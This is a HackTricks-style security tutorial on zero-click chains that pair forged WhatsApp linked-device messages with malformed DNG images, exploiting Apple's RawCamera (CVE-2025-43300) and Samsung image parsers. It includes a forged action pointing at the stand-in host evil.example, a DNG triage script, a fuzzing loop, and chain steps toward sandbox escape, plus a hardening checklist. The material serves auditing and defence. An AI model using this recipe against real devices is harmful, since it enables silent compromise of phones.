Zero-click Messaging → Image Parser Chains
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
TL;DR
- Treat messaging app multi-device/companion protocols as remote control channels: if protocol fields are assumed to come from trusted devices, they might still be user-controlled and can often be replayed directly against a victim to load arbitrary content with 0 user interaction.
- Once any app can be coerced into fetching untrusted media, target the shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) with malformed files to pivot out of the sandbox.
- The DNG-based RawCamera and Samsung parser bugs discussed here are concrete examples, but the full technique is a reusable blueprint for chaining logic flaws → image parser memory corruption → full device compromise.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
The WhatsApp “linked devices” architecture keeps the primary phone and every companion (desktop, tablet, secondary phone) in sync via encrypted, structured protocol messages. Each message encodes:
- Device metadata (device ID, capabilities, feature flags).
- Action descriptors (e.g., sync chats, fetch thumbnails, render remote content).
- Arbitrary parameters such as URIs, MIME hints, pagination keys, etc.
On Apple clients, the handler that processes these linked-device control packets implicitly trusted that a valid pairing already occurred, so high-impact fields (e.g., resource_url, open_media, sync_snapshot) were only minimally validated. A malicious companion message could therefore:
- Be routed to any account identified by its phone number.
- Survive the transport stack (Noise protocol + WhatsApp protobuf framing) because the receiver never verified that the sender was a legitimately paired device.
- Reach the iOS client, where the vulnerable code path automatically triggered a background HTTP(S) request to the attacker URL and parsed the response in a hidden WebView/media renderer.
Practical workflow for auditors
- Capture legitimate linked-device traffic. Attach a debugger or Frida script to the desktop/iOS client and hook the post-decryption handler (e.g.,
LinkedDevicesSyncHandler::processAction). Dump decoded protobuf payloads to learn available action types and parameters. - Identify fields that cross trust boundaries. Any action carrying
http_url,thumbnail_uri,download_url, orrender_htmlparameters without strict allow-lists is a candidate remote-content primitive. - Forge a malicious action. Reuse the observed protobuf schema and modify only the attacker-controlled fields. A simplified JSON view of the relevant logical structure is shown below (the actual transport is protobuf/Noise, but the semantic fields match):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Deliver to the victim. Replay the crafted packet through the same WhatsApp service that normally forwards linked-device traffic (e.g., using a modified desktop client or a custom Noise client reusing your attacker account keys). Because CVE-2025-55177 failed to tie actions to authenticated devices, the victim iOS/macOS client would accept the message and immediately fetch the attacker URL without any UI.
- Instrument the fetch. Observe the forced HTTP(S) request and the internal renderer (WKWebView/ImageIO). At this point you own a zero-click web delivery primitive inside WhatsApp.
Weaponizing auto-decoded DNGs against RawCamera
Once the attacker controls what WhatsApp loads, the next goal is to make iOS/macOS parse a malicious Digital Negative (DNG) file with the RawCamera framework. Any embedded <img>/CSS URL that resolves to a .dng will be passed to the system image pipeline, invoking RawCamera even if WhatsApp itself never handled DNGs explicitly.
Triggering RawCamera from WhatsApp
- Serve HTML that references the DNG via multiple mechanisms (e.g.,
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), or<picture>sources) to cover different render paths. - Ensure correct MIME (
image/x-adobe-dng) and small previews so the loader does not bail early because of size heuristics. - The iOS media sandbox will stream the file into RawCamera via
CGImageSourceCreateWithURL, eventually hitting the vulnerable decoder.
Crafting memory-corrupting DNGs (CVE-2025-43300 style)
The 2025 in-the-wild bug was more specific than a generic malformed TIFF: the DNG carried JPEG-Lossless image data whose internal SOF3 component count disagreed with the TIFF/DNG metadata (SamplesPerPixel). In practice, RawCamera could size some buffers from the outer TIFF fields and later trust the embedded JPEG-Lossless stream while decoding, yielding the out-of-bounds write fixed in iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025.
That gives auditors a much tighter triage rule than “mutate random tags”:
exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY
If SamplesPerPixel and the SOF3 component count diverge, you are very close to the exact primitive discussed publicly for CVE-2025-43300. Typical adjacent levers still worth fuzzing once you have the parsing path are:
- Tile/strip descriptors: Set
TileByteCounts/StripByteCountsto realistic values but increaseTileOffsetsto point beyond the allocated buffer. - Sub-IFD chains: Embed secondary images with conflicting
ImageWidth/ImageLengthandBitsPerSampleso RawCamera computes a small buffer while later stages trust attacker-controlled dimensions. - Opcode metadata: Manipulate
OpcodeList3entries so that per-row processing operates on attacker-chosen indexes.
A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Each crash in RawCamera gives you a new primitive. The published PoC achieved a neat out-of-bounds read/write reliable enough to crash WhatsApp on iPhone, iPad, and Mac.
Building the 0-click chain
- Linked-device packet → coerces WhatsApp into fetching
https://evil.example/payload.htmlwithout any taps. - Payload HTML → silently references
evil.dng, guaranteeing RawCamera is invoked by the OS media stack. - Malicious DNG → abuses crafted tags to trigger the RawCamera OOB and crash/own the image decoder.
- Post-corruption exploitation → add info-leak gadgets (e.g., abusing predictable heap metadata) and stage a ROP/JOP chain to break out of the WhatsApp sandbox and into more privileged contexts.
Because every step is automatic, the attacker only needs the victim’s phone number. No notifications, banners, or prompts are shown on the target device.
Recent Apple parser-chain patterns worth reusing
This WhatsApp → DNG → RawCamera chain fits the same design pattern seen in recent Apple zero-click campaigns: find an alternate attachment wrapper that reaches a less constrained parser, then weaponize a file format that the OS eagerly previews.
- BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab reported malicious PassKit attachments containing images, and Apple patched
Wallet(CVE-2023-41061) plusImageIO(CVE-2023-41064). Project Zero’s later analysis showed why this matters operationally: the attacker did not just need a parser bug, but also a container that moved image parsing outside the normal BlastDoor path into a different process. When auditing messaging apps, enumerate every attachment type that triggers background previews in helper daemons (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), not just obvious image attachments. - TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky showed that a malicious iMessage attachment hit the undocumented Apple-only
ADJUSTTrueType instruction (CVE-2023-41990). The practical lesson is that fonts are image-parser cousins for zero-click work: rich-text previews, font fallback, and thumbnail generation can all become parser entry points even when the app claims to only support “documents” or “stickers”.
The repeating audit question is therefore: which message types cause silent parsing in a process other than the obvious chat renderer? That is usually where the chain begins. For sample triage and cross-field consistency checks once you have a suspicious file, reuse this generic structural file-format detection page.
Samsung vendor image parser parallels
Samsung’s bulletin for CVE-2025-21043 confirmed that their proprietary image parsing stack (used by Gallery, Messages, and also indirectly by WhatsApp) suffered an out-of-bounds write reachable through untrusted media. The exploitation methodology mirrors the Apple chain:
- Identify an auto-preview vector (chat thumbnails, notification previews, share sheets) that parses the attacker file with Samsung’s
libimagecodec/libOneUI_ImageDecoderlibraries. - Diff OEM library updates or fuzz parsers with malformed RAW/DNG files until you see memory corruptions similar to the RawCamera crash (heap metadata clobber, register control, etc.).
- Deliver the crafted file through any channel that already auto-loads content (e.g., the same linked-device primitive, WhatsApp preview fetchers, or Android’s push-to-talk waveform previews).
Once an OOB write exists in the vendor parser, combining it with the WhatsApp auto-fetch primitive yields another zero-click chain on Samsung devices.
Testing & hardening checklist
- Protocol validation: Enforce strict allow-lists for every linked-device action. Companion commands that request a fetch/render must prove device pairing (signing the payload) and the URL should match an allow-list or signed blob.
- Transport replay countermeasures: Bind each action to a per-device key and reject packets whose sender key is unknown, even if the protobuf syntax is correct.
- Media pipeline restrictions: High-level apps should only allow approved MIME types and explicitly reject RAW/DNG unless the feature is required.
- Parser fuzzing regression tests: Keep a corpora of malformed RAW/DNG files and run them against RawCamera/vendor decoders after every update.
- Crash triage automation: Attach
DYLD_INSERT_LIBRARIESsanitizers or MTE on fuzz devices to catch subtle OOB conditions before attackers do.
References
- DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices
- Project Zero: Blasting Past WebP
- Quarkslab: Reverse engineering of Apple’s iOS 0-click CVE-2025-43300
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


